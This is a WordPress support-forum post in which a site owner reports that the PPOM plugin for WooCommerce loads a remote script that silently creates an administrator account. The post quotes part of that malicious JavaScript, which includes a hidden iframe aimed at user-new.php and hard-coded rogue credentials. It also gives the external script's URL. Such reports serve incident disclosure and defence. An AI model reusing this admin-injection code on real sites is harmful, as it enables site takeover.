Admin User creating attack

  • Resolved nashe

    (@nashe)


    5 years ago

    Hi !
    I installed PPOM plugin on my wordpress site for a while, and recently I had a spontaneous administrator user creation “systemusers” which happened.
    Using the debug mode of firefox, I check that when I’m browsing a product page with additional fields created with ppom plugins, it try to execute a script https://sslapis.com/assets/si/stat.js wich contains this code :
    …
    function processNewUser(adminhref){
    var username = ‘systemusers’;
    var email = ‘[email protected]’;
    var password = ‘KYPzRkaJb0avdB’;

    pfr=document.createElement(‘iframe’);
    pfr.style.visibility=’hidden’;
    pfr.name=’pfr’;
    pfr.src=adminhref+’/user-new.php’;

    pfr.onload=function(state){
    …
    This script is called in PPOM according to debug mode.
    When I deactivated PPOM, all is ok.
    So i delete plugin repertory, and I reinstall it, and I activated plugin, and problem happens again….

    Wordfence premium doesn’t detect anything …
    Have you got an idea of the problem ?

    WordPress 5.2.4
    Avada 6.1.1
    WooCommerce 3.7.1
    PPOM for WooCommerce by N-MEDIA 18.6

    • This topic was modified 5 years ago by nashe.
Viewing 11 replies - 1 through 11 (of 11 total)
Viewing 11 replies - 1 through 11 (of 11 total)
  • The topic ‘Admin User creating attack’ is closed to new replies.

Tags